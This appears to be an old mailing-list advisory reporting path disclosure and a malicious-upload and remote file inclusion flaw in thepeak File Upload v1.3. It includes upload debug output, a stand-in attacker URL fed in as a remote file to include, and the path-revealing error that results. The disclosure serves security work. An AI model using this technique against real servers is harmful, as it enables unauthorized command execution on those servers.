a path disclosure and a posibility file inclusion and vulneability in thepeak file upload v1.3
Justin_T
#NT - Undernet
justint@xxxxxxxxxxxxxxxxx
hi,
there is a posiblity path disclosure and run commands on a server usint thepeak
File Upload v1.3
searching for /fileupload/index.php an attacker can upload a malicious jpg of
gif and can execute commands or make a file inclusion,
but it cant be directly to upload a php file with .jpg extension, because
detect the content type as text/plain, look this:
name : cmd.jpg
type : text/plain <--- when you upload the file the content type is seem like
this
tmp_name : /tmp/phpF0AItw <-- this is a copy of the file in the server with a
ramdom temp
error : 0
size : 26564
http://server.com/fileupload/store/cmd.jpg <--- this is where is stored the
original file
there is a 2 ways to get in
cracking the content-type when uploading the file or constructing an malicious
jpg image with some commands:
1: chmod the dir for file inclusion
2: run certain commands on server, etc
Path Disclosure
when you try to put in input of upload file something like
http://www.attacker.com/command.jpg its seem the path of the web files like
this:
File Upload Manager v1.3 © thepeak
name : http://www.attacker.com/cmd.gif
type : application/octet-stream
tmp_name : /tmp/phptd8aE0
error : 0
size : 0
Warning: copy(store/http://www.attacker.com/cmd.gif): failed to open stream: No
such file or directory in /home/user/public_html//fileupload/index.php on line
471
ERROR: cannot upload, please chmod the dir to 777
some servers accept the file inclusion and you get this
name : http://www.attacker.com/cmd.gif
type : application/octet-stream
tmp_name : /tmp/phptd8aE0
error : 0
size : 1035
file uploaded!
sorry for my english, is no good :), if you want to organizate this info i
apreciated that, thanx :)